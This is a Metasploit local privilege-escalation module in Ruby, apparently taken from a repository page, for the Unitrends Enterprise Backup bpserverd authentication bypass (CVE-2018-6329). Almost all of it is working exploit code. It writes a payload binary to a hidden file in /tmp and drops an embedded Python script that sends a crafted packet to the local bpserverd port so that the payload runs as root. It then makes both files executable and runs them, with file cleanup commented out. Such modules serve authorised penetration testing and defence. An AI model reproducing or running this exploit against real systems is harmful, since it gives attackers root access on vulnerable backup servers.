161 lines
4.5 KiB
Ruby
161 lines
4.5 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
class MetasploitModule < Msf::Exploit::Local
|
|
Rank = ExcellentRanking
|
|
|
|
include Msf::Post::File
|
|
include Msf::Exploit::EXE
|
|
include Msf::Exploit::FileDropper
|
|
|
|
def initialize(info={})
|
|
super(update_info(info, {
|
|
'Name' => 'Unitrends Enterprise Backup bpserverd Privilege Escalation',
|
|
'Description' => %q{
|
|
It was discovered that the Unitrends bpserverd proprietary protocol, as exposed via xinetd,
|
|
has an issue in which its authentication can be bypassed. A remote attacker could use this
|
|
issue to execute arbitrary commands with root privilege on the target system.
|
|
This is very similar to exploits/linux/misc/ueb9_bpserverd however it runs against the
|
|
localhost by dropping a python script on the local file system. Unitrends stopped
|
|
bpserverd from listening remotely on version 10.
|
|
},
|
|
'License' => MSF_LICENSE,
|
|
'Author' =>
|
|
[
|
|
'Cale Smith', # @0xC413
|
|
'Benny Husted', # @BennyHusted
|
|
'Jared Arave', # @iotennui
|
|
'h00die' # msf adaptations
|
|
],
|
|
'DisclosureDate' => 'Mar 14 2018',
|
|
'Platform' => 'linux',
|
|
'Arch' => [ARCH_X86],
|
|
'References' =>
|
|
[
|
|
['URL', 'https://support.unitrends.com/UnitrendsBackup/s/article/000005691'],
|
|
['URL', 'http://blog.redactedsec.net/exploits/2018/04/20/UEB9_tcp.html'],
|
|
['EDB', '44297'],
|
|
['CVE', '2018-6329']
|
|
],
|
|
'Targets' =>
|
|
[
|
|
[ 'UEB <= 10.0', { } ]
|
|
],
|
|
'DefaultOptions' => { 'PrependFork' => true, 'WfsDelay' => 2 },
|
|
'SessionTypes' => ['shell', 'meterpreter'],
|
|
'DefaultTarget' => 0
|
|
}
|
|
))
|
|
register_advanced_options([
|
|
OptString.new("WritableDir", [true, "A directory where we can write files", "/tmp"]),
|
|
OptInt.new("BPSERVERDPORT", [true, "Port bpserverd is running on", 1743])
|
|
])
|
|
end
|
|
|
|
def exploit
|
|
|
|
pl = generate_payload_exe
|
|
exe_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
|
|
print_status("Writing payload executable to '#{exe_path}'")
|
|
|
|
write_file(exe_path, pl)
|
|
#register_file_for_cleanup(exe_path)
|
|
|
|
pe_script = %Q{
|
|
import socket
|
|
import binascii
|
|
import struct
|
|
import time
|
|
import sys
|
|
|
|
RHOST = '127.0.0.1'
|
|
XINETDPORT = #{datastore['BPSERVERDPORT']}
|
|
cmd = "#{exe_path}"
|
|
|
|
def recv_timeout(the_socket,timeout=2):
|
|
the_socket.setblocking(0)
|
|
total_data=[];data='';begin=time.time()
|
|
while 1:
|
|
#if you got some data, then break after wait sec
|
|
if total_data and time.time()-begin>timeout:
|
|
break
|
|
#if you got no data at all, wait a little longer
|
|
elif time.time()-begin>timeout*2:
|
|
break
|
|
try:
|
|
data=the_socket.recv(8192)
|
|
if data:
|
|
total_data.append(data)
|
|
begin=time.time()
|
|
else:
|
|
time.sleep(0.1)
|
|
except:
|
|
pass
|
|
return ''.join(total_data)
|
|
|
|
print "[+] attempting to connect to xinetd on {0}:{1}".format(RHOST, str(XINETDPORT))
|
|
|
|
try:
|
|
s1 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
s1.connect((RHOST,XINETDPORT))
|
|
except:
|
|
print "[!] Failed to connect!"
|
|
exit()
|
|
|
|
data = s1.recv(4096)
|
|
bpd_port = int(data[-8:-3])
|
|
|
|
try:
|
|
pass
|
|
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
|
s2.connect((RHOST, bpd_port))
|
|
except:
|
|
print "[!] Failed to connect!"
|
|
s1.close()
|
|
exit()
|
|
|
|
print "[+] Connected! Sending the following cmd to {0}:{1}".format(RHOST,str(XINETDPORT))
|
|
print "[+] '{0}'".format(cmd)
|
|
|
|
cmd_len = chr(len(cmd) + 3)
|
|
packet_len = chr(len(cmd) + 23)
|
|
|
|
#https://github.com/rapid7/metasploit-framework/blob/76954957c740525cff2db5a60bcf936b4ee06c42/modules/exploits/linux/misc/ueb9_bpserverd.rb#L72
|
|
packet = '\\xa5\\x52\\x00\\x2d'
|
|
packet += '\\x00' * 3
|
|
packet += packet_len
|
|
packet += '\\x00' * 3
|
|
packet += '\\x01'
|
|
packet += '\\x00' * 3
|
|
packet += '\\x4c'
|
|
packet += '\\x00' * 3
|
|
packet += cmd_len
|
|
packet += cmd
|
|
packet += '\\x00' * 3
|
|
|
|
s1.send(packet)
|
|
|
|
data = recv_timeout(s2)
|
|
|
|
print data
|
|
|
|
s1.close()
|
|
}
|
|
|
|
pes_path = "#{datastore['WritableDir']}/.#{rand_text_alphanumeric 5..10}"
|
|
print_status("Writing privesc script to '#{pes_path}'")
|
|
|
|
write_file(pes_path, pe_script)
|
|
#register_file_for_cleanup(pes_path)
|
|
|
|
print_status("Fixing permissions")
|
|
cmd_exec("chmod +x #{exe_path} #{pes_path}")
|
|
|
|
vprint_status cmd_exec("python #{pes_path} -c '#{exe_path}'")
|
|
end
|
|
|
|
end
|
|
|